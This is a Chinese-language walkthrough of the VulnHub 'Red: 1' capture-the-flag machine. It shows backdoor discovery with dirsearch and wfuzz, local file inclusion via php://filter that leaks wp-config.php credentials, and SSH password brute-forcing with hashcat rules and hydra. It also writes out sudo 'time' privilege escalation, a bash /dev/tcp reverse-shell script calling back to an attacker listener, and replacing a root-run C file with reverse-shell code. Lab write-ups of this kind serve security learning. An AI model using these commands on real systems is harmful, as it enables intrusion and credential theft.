0x00 环境准备
-
下载地址: https://www.vulnhub.com/entry/red-1,753/ -
virtual box 导入靶机 -
难度:中 -
靶机上架时间:2021年11月3日 -
提示:Red has taken over your system, are you able to regain control? 红色已经控制了你的系统,你能重新控制吗?
0x01 信息收集
- 靶机ip探测
- 端口服务识别
扫出开放 22和80端口, 80端口wordpress 5.8.1 在robots.txt中发现 wp-admin目录 title 显示网页已经被Red 黑掉
0x02 漏洞挖掘
思路一:
从nmap的扫描结果 可以看到 从在wordpress cms 可以进行利用。 爆出的账号密码也能 尝试ssh登录。
步骤一:访问web首页
(1)从主页来看 是wordpress cms 并且已经被Red 黑过了 挂了黑页 说
你永远也找不到 后门。
步骤二:绑定ip域名
各个超链接 都无法访问
将开头的域名换成ip地址时,访问成功 说明需要到 hosts文件中 绑定 靶机ip 和 指定域名 即可
windows 在 C:\Windows\System32\drivers\etc\hosts文件中修改 linux 在 /etc/hosts中修改
步骤三:寻找突破口
在源码中看到一处黑客留下的嘲讽话
百度 或者 google搜索后 发现github 指向一个 字典文件 应该是其中有PHP得后门字典
步骤四:爆破后门目录
用提示中的 php后门字典,该字典 kali中也自带 在/usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
使用 dirsearch 工具
python3 dirsearch.py -u "http://redrocks.win" -w /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
爆破出 /NetworkFileManagerPHP.php 可以访问成功,说明页面存在,没有回显 需要wfuzz 参数
步骤五:wfuzz 枚举后门参数
字典也用 提示的github 里的参数字典枚举 /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=xxx
枚举出 参数为key 根据 后门文件名字 考虑和文件有关 输入 /etc/passwd 测试成功
步骤六:利用文件包含后门寻找突破口
(1)尝试远程文件包含木马getshell(失败测试发现未开启远程文件包含)
远程vps 上的 文件 未读取出内容,说明未开启远程文件包含。
(2)利用本地文件包含php://filter协议读取页面源码
php://filter base64编码 读取源码
先读取 后门源码 看看有什么功能
/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
成功 base64解码后 源码为
<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
?>
源码中的base64编码解码后为
后门只有文件包含的功能。
步骤七:文件包含php://filter协议读取wp-config.php
wp-config.php 文件是 wordpress的数据库连接文件 应该会有数据库的账号密码 可以读取利用看看
/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php 解码后 内容为
<?php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'john' );
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');
$table_prefix = 'wp_';
define( 'WP_DEBUG', false );
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
require_once ABSPATH . 'wp-settings.php';
得到 账号 john 和 密码 R3v_m4lwh3r3_k1nG!!
/etc/passwd 中 也存在john用户 可以 ssh登录试试
步骤八:ssh登录john用户
登录失败,密码错误。 想到 之前后门文件中留下的 注释内容 That password alone won’t help you! Hashcat says rules are rules
只有那个密码是不能帮助你的,hashcat说的规则才是规则? 大概意思应该就是 只有这个密码还不够,还需要hashcat的规则破解
步骤九:hashcat 破解密码
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > pass2.txt
步骤十:hydra 登录ssh john用户
hydra -l john -P pass2.txt -t 10 ssh://192.168.56.111
密码为 R3v_m4lwh3r3_k1nG!!6
步骤十一:ssh登录(又提示错误)
登录 还是说密码不对。
步骤十二:再次hydra爆破密码ssh登录(成功)
破解出的登录密码变为 R3v_m4lwh3r3_k1nG!!02
不知道为什么。
0x03 提权
步骤十三:信息收集
在/home/john 目录下发现一个文件
cat note_from_red.txt
输入 cat命令 查看 进入 vi模式
Having a little trouble with the cat command blue?
蓝队的cat命令有一点小问题? 可能是说 cat 实际是vi命令吧
看起来 cat 命令 是 10月31日 的 其余都是 8月 9月
(1)sudo -l 发现 无需密码 就可以以 ippsec 用户权限 执行time命令 (2)可以用 time 提权
sudo -u ippsec time /bin/bash
(3)在 /home/ippsec 目录下 发现 user.txt 内容如下
说是 假的 flag
(4) 发现 shell很快就断了,应该是被踢出来了。
下次进去得提权后先反弹shell。
步骤十四:提权至ippsec用户后立刻反弹完整shell
(1)kali 先监听 8888端口
nc -lvvp 8888
(2)hydra 爆破ssh密码
(3)sudo time提权至ippsec用户
sudo -u ippsec time /bin/bash
(4)反弹shell
cd /tmp
cat shell.sh
写入 下边 内容
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.56.137/8888 0>&1'
chmod +x shell.sh
./shell.sh
运行反弹shell脚本
(5)使用python3 切换为完整的shell
- python3 -c ‘import pty;pty.spawn("/bin/bash")’
- export TERM=xterm 然后 Ctrl+Z 退出来一下
- stty raw -echo;fg 回车后输入 reset 再回车
- stty rows 46 columns 188
stty 设置终端参数 可以先看你自己的kali 终端 stty -a 查看 参数 然后设置过去
切换后 还会弹出 消息 但是不会断开
步骤十五:提权至root
(1)pspy64s监听进程
因为 shell一直谈消息,肯定有相关进程。可以用这个pspy64s监听
pspy是一种命令行工具,无需root权限即可监听进程。可查看其他用户执行的命令,cron作业等。
下载地址
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
可以下载下 传到kali 上 python3 开启服务 靶机 wget下载
chmod +x pspy64s
./pspy64s
有3个 root用户 开启的防御的。sh进程 /root/defense/backdoor.sh /root/defense/talk.sh /root/defense/change_pass.sh
(2)无法访问 root目录 没有权限
(3)进入wordpress 目录下打开后门.c文件
cd /var/www/wordpress/.git
ls -al
cat supersecretfileuc.c
supersecretfileuc.c 应该是后门文件
内容如下
#include <stdio.h>
int main()
{
printf("Get out of here Blue!\n");
return 0;
}
(4)修改内容为 反弹shell的代码
过一会 shell反弹回来 root.txt读取成功
0x04 总结
该靶机难度中等,根据提示一步一步 可解出来。
流程- (1)该靶机已经被挂黑页了,用提示的后门字典,枚举出网址后门文件。 (2)wfuzz出后门利用参数。 (3)根据wordpress 数据库文件wp-config.php和/etc/passwd 中都存在的john用户 及后门提示,用hashcat 规则解出密码。hydra以解出的密码组为字典,爆破ssh john用户。 (4)sudo -u ippsec time /bin/bash 提权。至 ippsec用户 (5)反弹ippsec用户的shell (6)因为一直会将john的shell踢出,应该有root用户的进程文件在运行。用pspy64s监听进程。 (7)找到的进程权限不足,还发现一个黑客留下的后门.c文件,为root权限。修改里边的代码为反弹shell代码,反弹root shell成功。
|